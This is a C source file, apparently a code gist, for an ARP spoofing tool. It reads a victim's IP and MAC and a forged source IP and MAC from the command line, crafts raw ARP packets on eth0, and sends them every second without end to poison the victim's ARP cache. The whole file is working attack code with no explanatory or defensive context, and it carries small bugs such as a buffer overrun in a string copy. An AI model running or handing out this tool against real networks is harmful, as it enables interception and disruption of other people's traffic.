Created
October 24, 2017 08:06
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#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <getopt.h> | |
#include <errno.h> | |
#include <sys/socket.h> | |
#include <net/ethernet.h> | |
#include <net/if_arp.h> | |
#include <netinet/ip.h> | |
#include <netinet/tcp.h> | |
#include <arpa/inet.h> | |
#include <net/if.h> | |
#include <sys/ioctl.h> | |
#include <sys/wait.h> | |
struct arp_hdr | |
{ | |
unsigned short int hardware; | |
unsigned short int protocol; | |
char hw_addr_len; | |
char proto_addr_len; | |
unsigned short operation; | |
char src_addr[6]; | |
char src_ip[4]; | |
char dst_addr[6]; | |
char dst_ip[4]; | |
}; | |
void send_arp_packet(char *src_mac, char *src_ip, char *dst_mac, char *dst_ip) { | |
int sock, i; | |
unsigned int buffer_size = sizeof(struct arp_hdr) + sizeof(struct ether_header); | |
unsigned char buffer[buffer_size]; | |
memset(buffer, 0, buffer_size); | |
struct ether_header *eth = (struct ether_header *)buffer; | |
struct arp_hdr *arp = (struct arp_hdr *)(buffer + sizeof(struct ether_header)); | |
char dev[5]; | |
strncpy(dev, "eth0", 6); | |
if ((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP)))==-1) { | |
perror("socket"); | |
exit(EXIT_FAILURE); | |
} | |
/* Ethernet header */ | |
memcpy(eth->ether_dhost,dst_mac,ETHER_ADDR_LEN); | |
memcpy(eth->ether_shost,src_mac,ETHER_ADDR_LEN); | |
eth->ether_type = htons(ETHERTYPE_ARP); | |
/* ARP header */ | |
arp->hardware = htons(ARPHRD_ETHER); | |
arp->protocol = htons(ETH_P_IP); | |
arp->hw_addr_len = 6; | |
arp->proto_addr_len = 4; | |
arp->operation = htons(ARPOP_REQUEST); | |
memcpy(arp->src_addr, src_mac, 6); | |
memcpy(arp->src_ip, src_ip, 4); | |
memcpy(arp->dst_addr, dst_mac, 6); | |
memcpy(arp->dst_ip, dst_ip, 4); | |
struct sockaddr addr; | |
strncpy(addr.sa_data, dev, sizeof(addr.sa_data)); | |
if ((sendto(sock, buffer, buffer_size, 0, &addr, sizeof(struct sockaddr)))==-1) { | |
perror("sendto"); | |
exit(EXIT_FAILURE); | |
} | |
printf("Sent Spoofed ARP Request packet.\n"); | |
close(sock); | |
} | |
char *inetaddr(u_int32_t ip) { | |
struct in_addr in; | |
in.s_addr = ip; | |
return inet_ntoa(in); | |
} | |
int main(int argc, char *argv[]) { | |
struct ifreq if_data; | |
int sockd; | |
int i; | |
/* IPs & MACs */ | |
char S_ip[4]; | |
char S_mac[6]; | |
char V_ip[4]; | |
char V_mac[6]; | |
int tmp[20]; | |
memset(V_ip,0,4); | |
memset(S_ip,0,4); | |
/* destination IP */ | |
sscanf (argv[1], "%d.%d.%d.%d", &tmp[0], &tmp[1], &tmp[2], &tmp[3]); | |
V_ip[0] = tmp[0]; | |
V_ip[1] = tmp[1]; | |
V_ip[2] = tmp[2]; | |
V_ip[3] = tmp[3]; | |
/* destination MAC */ | |
sscanf (argv[2],"%x:%x:%x:%x:%x:%x", &tmp[4], &tmp[5], &tmp[6], &tmp[7], &tmp[8], &tmp[9]); | |
V_mac[0] = (unsigned char) tmp[4]; | |
V_mac[1] = (unsigned char) tmp[5]; | |
V_mac[2] = (unsigned char) tmp[6]; | |
V_mac[3] = (unsigned char) tmp[7]; | |
V_mac[4] = (unsigned char) tmp[8]; | |
V_mac[5] = (unsigned char) tmp[9]; | |
/* source IP */ | |
sscanf (argv[3], "%d.%d.%d.%d", &tmp[10], &tmp[11], &tmp[12], &tmp[13]); | |
S_ip[0] = tmp[10]; | |
S_ip[1] = tmp[11]; | |
S_ip[2] = tmp[12]; | |
S_ip[3] = tmp[13]; | |
/* source MAC */ | |
sscanf (argv[4],"%x:%x:%x:%x:%x:%x", &tmp[14], &tmp[15], &tmp[16], &tmp[17], &tmp[18], &tmp[19]); | |
S_mac[0] = (unsigned char) tmp[14]; | |
S_mac[1] = (unsigned char) tmp[15]; | |
S_mac[2] = (unsigned char) tmp[16]; | |
S_mac[3] = (unsigned char) tmp[17]; | |
S_mac[4] = (unsigned char) tmp[18]; | |
S_mac[5] = (unsigned char) tmp[19]; | |
printf("SrcMAC: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", S_mac[0], S_mac[1], S_mac[2], S_mac[3], S_mac[4], S_mac[5]); | |
printf("DstMAC: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", V_mac[0], V_mac[1], V_mac[2], V_mac[3], V_mac[4], V_mac[5]); | |
if ((sockd = socket (AF_INET, SOCK_DGRAM, 0)) < 0) | |
{ | |
perror("socket"); | |
exit (0); | |
} | |
while(1){ | |
send_arp_packet(S_mac, S_ip, V_mac, V_ip); | |
sleep(1); | |
} | |
return 0; | |
} |
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